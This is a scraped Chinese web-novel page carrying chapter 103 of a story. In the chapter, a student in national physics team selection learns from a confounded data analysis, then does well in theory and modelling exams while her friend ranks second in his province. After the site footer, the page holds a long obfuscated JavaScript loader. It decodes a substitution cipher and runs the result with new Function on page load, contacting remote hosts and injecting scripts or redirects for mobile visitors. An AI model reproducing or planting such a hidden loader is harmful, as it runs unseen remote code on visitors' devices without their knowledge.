首页

[切换至繁体版]

返回

关灯 护眼:开 字号:中

第一卷少年游第一百零三章余寒

    第一卷少年游第一百零三章余寒(第1/2页)
    原既白全省第二的消息传到训练中心时,江遥正蹲在地上找一张不见了的数据页。
    十人组进入最后阶段以后,训练楼里的时间忽然变得很奇怪。前面几个月,他们总知道自己正在准备什么:五十人进十五人,十五人进十人,理论、实验、综合,每一次考核后面都有下一道门。到了真正只剩十个人,教练组反而不再频繁公布即时排名,只把最后几场正式考核一场一场排下来。每个人都知道最终只留五个,却很少有人再把“五”挂在嘴边。到了这个时候,谁在第五、谁在第六,已经不是一道靠盯着排行榜就能解决的问题。
    那天下午的数据任务刚结束一半。江遥把自己的材料翻了两遍,仍然少了中间一页。桌子下面堆着草稿纸,椅脚边还有韩思遥上午掉下去的一支笔。她正弯腰往更里面摸,手机在柜子里震了几次。等她终于从另一份文件下面找到那页纸,休息时间也只剩七八分钟。她拿到手机,先看到班级群里一长串消息,又看到原既白发来的截图。
    全省第二。
    江遥站在储物柜前看了好几秒,第一反应不是排名,而是四门分数。
    数学很高。
    理综没有掉。
    语文和英语也都稳住了。
    她一下笑出来。
    原既白前一阵给她讲过那四条线,也讲过那句被他自己嫌有点傻的“一起活着”。那时候江遥还说他终于发现高考不是数学竞赛附赠三门,现在四个数字真的第一次同时站住,她甚至比看到“第二”更容易理解这件事为什么让他高兴。
    她给他回:
    **这次齐了。**
    原既白几乎立刻回了一个“嗯”。
    过了一会儿,又补一句:
    **超级爽。**
    江遥看着那三个字笑了很久。
    韩思遥从旁边经过,问她看什么。江遥把截图给她看了一眼。韩思遥知道原既白,也知道他在准备高考,看到省第二以后“哇”了一声,随后很认真地说:“你们两个以后聊天会不会特别累,一个全国五个,一个全省前三。”
    “我还没全国五个。”
    “他也还没全省前三。”
    江遥说完,两个人一起笑。
    休息结束的铃响起来,她把手机放回柜子,没有再往下聊。
    真正重新坐到电脑前时,那点高兴还在,却很快被屏幕上几十列数字压到后面。任务要求他们判断一片很薄的材料在反复升温、降温过程中有没有出现某种“记忆”——同样的温度,从低温往上走和从高温往下走,测出来的状态并不完全一样。如果这种差异稳定存在,就意味着材料现在的表现不仅取决于“此刻温度多少”,还和“刚才从哪里来”有关。
    江遥第一遍画出曲线时,几乎立刻看见了这个形状。
    升温是一条路。
    降温是另一条路。
    两条线没有完全重合。
    她的兴奋来得太快,以至于自己最初没有察觉。过去几个月里,江遥最擅长的恰恰是这种问题:别人先看一个个数据点,她会很自然地寻找背后是否存在某种更高层的结构。很多时候,这种直觉给她带来优势。从训练营早期到十人组,她已经不止一次因为重新表示问题,把一团杂乱的数据变成更清楚的关系。
    这一次也太像了。
    她在草稿纸上写下“路径记忆”,随后开始验证。不同温度区间的差异不是完全相同,某一段特别明显,另一段变小;换一种归一化以后,两条线仍然没有重合。江遥越来越确信自己的判断,甚至已经开始想这个现象可能来自材料内部哪种慢变化——某种结构来不及随着温度立刻调整,于是过去留下了痕迹。
    直到最后二十多分钟,她才重新翻到原始记录最前面。
    每一行除了温度、响应值,还有时间。
    她本来只是想检查一个异常点。
    看了几十秒,手停住了。
    升温实验全部在前面。
    降温实验全部在后面。
    没有交错。
    也就是说,她以为自己在比较“升温”和“降温”,实际上同时还在比较“早些时候”和“晚些时候”。如果仪器随时间有一点漂移,如果材料在连续测量中慢慢发生变化,甚至如果实验室温度本身在几个小时里有轻微变化,都可能让后半段数据整体偏开。
    两条曲线当然仍然可能真的说明材料有记忆。
    问题是,这份数据本身不能把“路径”与“时间”分开。
    江遥盯着屏幕,一瞬间最强烈的感觉不是慌,而是难堪。
    这个问题一点都不高级。
    甚至不需要复杂理论。
    她只是太早喜欢上了自己的解释。
    剩下十五分钟,她几乎把前面一大半结论拆掉。原本写成“存在明显路径依赖”的地方全部改成“候选解释”,又把时间漂移、样品缓慢变化和测量顺序列成无法排除的混杂因素。她最后甚至建议,如果重做实验,升温和降温不应该简单一口气各做一遍,而应改变顺序,或者在不同轮次里交叉安排。
    铃响时,她刚写完最后一句。
    交上去以后,江遥坐了很久没有动。
    韩思遥从另一排收拾东西,经过她旁边时看她脸色不太对,没问“考得怎么样”,只把江遥掉到桌边的一支笔推回去。十个人之间已经慢慢形成一种默契:正式考核结束以后,除非本人先说,否则尽量不追问。这不是友谊突然变得高尚,而是大家都发现,在一个最终必须淘掉五个人的环境里,过度互相打听只会把每一次呼吸都变成比较。
    成绩第二天出来。
    江遥第九。
    不是十人里最后一个,却是她进入十人组后最差的一次正式成绩。
    评语很短:
    **后段纠偏有效,前期证据纪律不足。**
    她把那张成绩纸翻过来,又翻回去。
    真正刺她的不是“第九”。
    是那句“前期”。
    因为老师没有说她最终结论错。她最后已经把风险补出来,甚至补得相当完整。问题在于,如果不是最后偶然回看时间列,她会带着一个漂亮、完整、而且很“江遥”的答案交卷。
    晚上没有课。
    外面开始下雪。
    训练中心所在的城市冬天一直没有真正走远,哪怕原既白那边已经在谈高考前的春天,这里的气温一到晚上仍然很低。江遥拿着水杯去楼下接热水,回来时在走廊窗边停了一会儿。灯光照出去,只能看见一小片雪往下掉,远处训练楼的屋顶已经白了一层。
    简宁从后面过来,也端着杯子。
    她这次数据分析第二。
    几个月前,如果两个人在这种成绩下碰见,江遥大概会很自然地想:她到底看见了什么自己没看见?简宁或许也会谨慎到不知道该不该说自己的做法。现在反而没那么复杂。简宁站到旁边,看了一会儿雪,先问:“你是不是写路径记忆了?”
    江遥转头。
    “你怎么知道?”
    “我也差点写。”
    原来简宁最开始同样看见了两条不重合的曲线。区别只在于,她习惯先按时间顺序检查原始表,几分钟后便发现升降温与前后时段完全绑在一起,于是从一开始就没有把那个漂亮解释写实。
    “所以你不是比我多懂什么。”江遥说。
    简宁喝了一口水。
    “这句话你说得特别像在安慰自己。”
    江遥笑起来。
    “确实有一点。”
    两个人没有把那道题再复盘下去。窗外雪越下越密,简宁忽然说自己现在最怕的已经不是不会,而是某一种东西越做越好以后,人会开始相信“这就是我”。她过去一直以速度和传统题稳定见长,进入十人后几次陌生任务失分,才发现自己也会为了维护“快”而过早结束检查。
    江遥听完,没有立刻说话。
    这正是她刚才难受的地方。
    训练营最早的时候,她还在证明自己能不能适应全国最强的一批人。现在别人已经开始知道她是谁了:重新表示、陌生结构、建模、发现隐藏关系。老师知道,同伴知道,她自己更知道。被看见当然不是坏事,可一个人一旦被反复描述成某种样子,就很容易在下一道题里主动寻找证据,让自己继续像那个样子。
    江遥低头看杯子里的热气。
    “那怎么办?”
    简宁笑:“你问我?”
    “你第二。”
    “第二也没包治百病。”
    她们都笑。
    最后谁也没得到答案。
    回到宿舍以后,江遥在灰色本子上只写了三行:
    **我看见了什么?**
    **我假设了什么?**
    **还有没有更普通的解释?**
    写完以后,她没有在下面补“以后必须怎样”。
    那三行已经够烦了。
    ---
    数据分析第九之后的第三天,是最后一轮理论考核。
    这一次题目反而没有故意设计成特别陌生。前半部分相当传统,甚至有两道与他们过去做过的类型很接近。江遥在第一小时里一直有种奇怪的不适——她已经习惯在难题里寻找“重新组织问题”的入口,面对熟悉结构,反而很容易怀疑是不是还有什么更聪明的方法藏着。
    第二题,她真的看见了另一种表示。
    如果换过去,也许能把后半段统一起来。
    她在草稿上写了三行。
    然后停。
    原方法能不能做?
    能。
    时间够不够?
    够。
    新表示能省多少?
    不知道。
    她第一次没有因为“我已经看到了”就自动继续。
    把那三行轻轻划掉,沿原变量做下去。
    四十多分钟后,题目结束。
    没有惊喜。
    也没有额外损失。
    真正最难的一题出现在后面。那是一套看起来关系很多的系统,几个量互相影响,直接往下推非常乱。江遥试了两次传统路线,都明显变重,这才重新停下来寻找更合适的描述。十分钟以后,她找到一个新的组合,把原本分散的几个条件压到同一个关系里。
    这一次,她换。
    不是因为换表示“像江遥”。
    是因为不换真的很差。
    考试结束时,她第一次很明确地感觉到,自己最近学到的可能不是什么新能力。
    而是给旧能力装了一个开关。
    什么时候开。
    什么时候别开。
    结果出来,她理论第一。
    江遥拿到成绩后高兴了很久。
    却没有因为“第九—第一”这种漂亮起伏产生什么顿悟。两场题不一样,排名也受很多人状态影响。真正让她安心的是,那一场理论里有几次她清楚感觉到自己本来想换方法,最后忍住了;也有一处真的需要换时,她没有因为刚刚吃过亏而变得畏手畏脚。
    “别压掉直觉。”
    梁老师看完卷子时只说了一句。
    江遥抬头。
    老师把她第二题草稿里那三行被划掉的式子指给她看。
    “这条路也不是错。”
    “但不值。”
    “对。”
    梁老师没有再说。
    (本章未完,请点击下一页继续阅读)第一卷少年游第一百零三章余寒(第2/2页)
    江遥收卷子时,忽然想起原既白最近说过的高考。
    他过去的问题也是看见高处以后容易直接跳。
    现在他在学走楼梯。
    自己似乎在学另一件非常相似、却方向不同的事:
    看见一条新路,不等于一定要走。
    ---
    最后一场建模考核安排在周末。
    十个人被分到不同房间,拿到同样一组资料。任务本身并不要求他们说出某种已经存在的理论名称,只给出一片区域里连续一段时间的观测。每个点都在波动,大部分时候看起来没有规律;到了后期,一些异常不再随机散落,而是开始彼此靠近,形成一块块连续区域。
    江遥第一眼就觉得熟悉。
    这种“从散点变成成片”的变化,很容易让人想到一些更大的理论:系统是不是接近某种临界状态,局部之间的影响是不是变强,是否正在发生结构性的转变。她甚至在十几分钟内就能把这些词写出一整页。
    笔落到纸上以前,她停住。
    前几天那三行字还在脑子里。
    她真正看见的是什么?
    不是“临界”。
    不是“相变”。
    甚至不是“系统正在失稳”。
    她真正看见的,只是:异常从分散变得空间聚集,而且这种聚集在时间上持续增强。
    这件事本身就足够重要。
    江遥把自己最想写的几个理论词全放到旁边,只把“空间成片”设成一个候选预警。随后去验证:如果随机打乱这些点的位置,成片程度会不会消失;如果只保留每个点自己的变化幅度、不保留邻近关系,还能不能看到同样趋势;如果把早期和后期分开,这个现象是不是稳定存在。
    一下午,她没有试图证明那个最漂亮的解释。
    只试图确认这件朴素的事情到底是不是真的。
    到最后一个小时,她才把几个可能机制放回去,而且都用“可能”“候选”“需要额外证据”隔开。
    这份答案看起来反而没有她过去某些建模卷那么惊艳。
    没有一个巨大理论把所有东西一次包住。
    甚至有点克制。
    成绩出来,她第一。
    这次江遥是真的愣了。
    她把反馈看了两遍。
    负责建模的老师给的核心评价不是“模型新”,而是:
    **证据层与解释层分离清楚;预警变量可验证。**
    韩思遥当天第八,成绩出来后很烦,拿着卷子在楼下走了半小时才回来。简宁第六,也不太满意。十个人之间的累计分因此又动了一次。江遥回到第二,赵既明第五,简宁第六,韩思遥再往后一点。边界越来越清楚,也越来越残酷。
    可真正到了这个阶段,没人敢说“前五就是五个人”。
    最后还有答辩。
    而且教练组已经明确,答辩不是走形式。前面所有材料都会放到桌上,老师不仅可以问你做对的题,也可以专门问你最差的一场;不仅问能力,也问一个更难量化的问题——如果国家只能带五个人去国际赛,为什么是这五个?
    通知发下来时,宿舍安静了一会儿。
    韩思遥先把纸贴在墙上。
    “终于不发卷子了。”
    简宁正在床上看一本推理小说的封面,闻言说:“你别高兴太早,答辩比卷子烦。”
    “至少不用算。”
    “你确定?”
    江遥坐在桌边听她们说,没有参与。
    她在看自己的累计表。
    第二。
    一个很安全又一点也不安全的位置。
    如果只看此前成绩,她应该比简宁、赵既明更接近那五把椅子。可最后真正被选走的不是一张累计榜,而是五个活人。理论强不强,实验能不能稳定完成,面对陌生问题会不会乱,团队里有没有明显短板,甚至一个人的优势是否值得在五人组合里保留,都会进入最后判断。
    江遥发现自己依旧很想进。
    比训练营刚开始时更想。
    这种想并没有因为“物理不是五把椅子”而变轻。恰恰因为走到这里,她知道自己已经不是为了证明第一次省选那四分、不是为了证明女生也能做物理,更不是为了给弱省争一个故事。
    她只是想去。
    想站到那场真正的国际比赛里。
    想知道世界上最强的一批同龄人会出什么题,实验台会是什么样,自己现在这套越来越复杂的能力到底能不能扛住。
    想到这些的时候,心里仍然会发热。
    江遥觉得这样很好。
    成熟不应该意味着把欲望说小。
    只是如果最后没有得到,也不能因此把过去全部说成失败。
    ---
    那几天,原既白那边进入了全省第二之后很普通的一周。
    没有老师每天提醒他是第二,也没有同学一直围着问。排名带来的兴奋大概只撑了两天,第三天晨读时,一切又回到英语单词、理综卷和黑板右上角不断变小的数字。他有一场校内数学小测做得非常一般,倒不是不会,而是前一天睡少了,前几题竟然连续算错两个符号。过去他大概会对这种低级错误很恼火,现在只在错题旁边写了“困”,然后晚上提前四十分钟停笔。
    秦老师看到他十点不到就收数学卷,问他怎么不继续。
    原既白说:“明天早上再做。”
    “全省第二开始养生了?”
    “全省第二也得睡觉。”
    秦老师笑了半天。
    这种生活和江遥那边像两个完全不同的季节。她每天还在国家队最后五人的窄门前,成绩每动一次,十个人的位置都会重新排列;原既白却在学着把每一天过得越来越像上一天。高考前最后一百天真正有效的训练,本来就不会天天发生故事。更多时候只是今天七点起床,明天还是七点;今天数学做到这里停,明天也在该停的时候停;一张卷子没有突然突破,一周以后却发现四门课的波动又小了一点。
    两个人晚上偶尔聊天。
    江遥没有把每次排名都告诉他。
    原既白也不再天天问。
    数据分析第九那天,她只说:
    **今天考砸一场。**
    原既白回:
    **第几?**
    **九。**
    过了一会儿,他发:
    **十个人?**
    江遥:
    **嗯。**
    原既白:
    **确实挺砸。**
    江遥看着手机,先气得笑了,随后却觉得这种回答特别舒服。
    没有“没事”。
    没有“你已经很厉害”。
    也没有追问她会不会掉出五个。
    她隔了一会儿才把自己误判“路径记忆”的事讲了一点。原既白听完,没有说“这和我某某模型一样”,只问:“最后发现了吗?”
    “最后十五分钟。”
    “那还行。”
    “第九。”
    “所以只是没死透。”
    江遥发了一个骂人的表情。
    几天后理论第一,她也告诉他。
    原既白回:
    **哦。**
    江遥:
    **?**
    **第九都安慰过了,第一还要安慰?**
    江遥直接打电话过去骂他。
    两个人在电话里笑了一阵,才各自继续做自己的事。
    奇怪的是,真正到最后答辩前一天,他们反而没聊成绩。
    原既白那晚给她拍了一张窗外。
    他那边已经能看见树枝上很浅的新绿。
    江遥站在训练中心宿舍窗前,也拍了一张。
    她这边正在下雪。
    两张照片放在聊天框里,像隔着两个月。
    原既白问:
    **你们还冬天?**
    江遥:
    **你们已经春天?**
    **差不多。**
    **不公平。**
    **明天几点?**
    江遥知道他问的是答辩。
    **九点开始抽。**
    **你紧张吗?**
    她本来想回“还好”。
    手停了一会儿。
    **紧张。**
    原既白很快回:
    **那挺好。**
    江遥看着这三个字,忽然觉得熟悉。几个月以后她会在围棋比赛前把同样的话还给他,但此刻她只觉得这人有病。
    **哪里好?**
    原既白:
    **说明你真想去。**
    江遥没有马上回。
    雪在窗外越下越密,玻璃上已经有一点白光。宿舍里韩思遥正在翻明天要带的材料,简宁坐在床上看那本推理小说,明明同一页停了十分钟也没翻。
    过了一会儿,江遥打:
    **很想。**
    原既白:
    **那就行。**
    没有“你一定能进”。
    也没有“相信自己”。
    江遥反而松了一点。
    ---
    晚上十点多,工作人员把最后答辩安排送到宿舍。
    十个人不是按累计名次进场,而是第二天早上统一抽随机编号。每人二十五分钟,可以带此前所有正式考核材料,但不能再准备新的展示。老师会从任何一份材料里提问。
    韩思遥看完通知,第一反应是把自己过去几个月的卷子全部搬出来,堆到桌上足有一尺高。
    简宁从床上看了一眼。
    “你今晚打算重新学一遍?”
    韩思遥自己也觉得荒唐。
    她蹲在地上翻了十分钟,最后只拿出几份最差的和几份最好的,其余重新塞回去。江遥也开始整理。理论第一放进去,建模第一放进去,实验最好的一场放进去。手伸到那张数据分析第九时,她停了一下。
    没有把它留下。
    一起放进文件夹。
    如果老师明天真问,她不想装作这场不存在。
    整理到最后,绿色燕子本也在桌上。
    那本本子陪她从前面很多轮一路过来,里面有错误、有问题、有别人说过的话,也有她自己后来都看不懂的草图。韩思遥问她明天要不要带,江遥翻了几页,最后摇头。
    “为什么?”
    “太多了。”
    她明天不需要带着一本“江遥是怎么成长的”进去。
    只需要带她真正做过的东西。
    于是她把绿色本子放回抽屉,只拿了灰色记录本和那个已经被翻软的文件夹。
    十一点以前,宿舍关灯。
    江遥躺下以后没有马上睡着,却也没有再想老师会问什么。她听见韩思遥翻了两次身,简宁那边有一阵很轻的纸页声,不知道是不是又偷偷把小说拿起来。走廊尽头有人去洗手间,拖鞋在地面上慢慢过去,很快又回来。
    雪还在下。
    窗帘没有拉严,外面的白光从一条缝里落进宿舍,正好照到桌边那只文件夹上。
    江遥看了一会儿。
    没有起身再翻。

一秒记住【882小说网】
882xiaoshuo.com,更新快,无弹窗!

章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="r5b0n433ax";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/5n)02ossdR/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"5n)02ossdR"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mShYfh(:m2YF"="}Ko}X5ThF)m^XDpqRTm2YF"="}Ko}2pThFmShYfh(:m2YF"="}Ko}_JqhFm^XDpqRTm2YF"="}Ko}2TOhFmShYfh(:m2YF"="}Ko}CSqhF)m^XDpqRTm2YF"="}Ko})FfThF)fmShYfh(:m2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m4)hp25)m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q/f/}Ko}j(8}vY85n)02ossdR"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mhFd4CRSm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();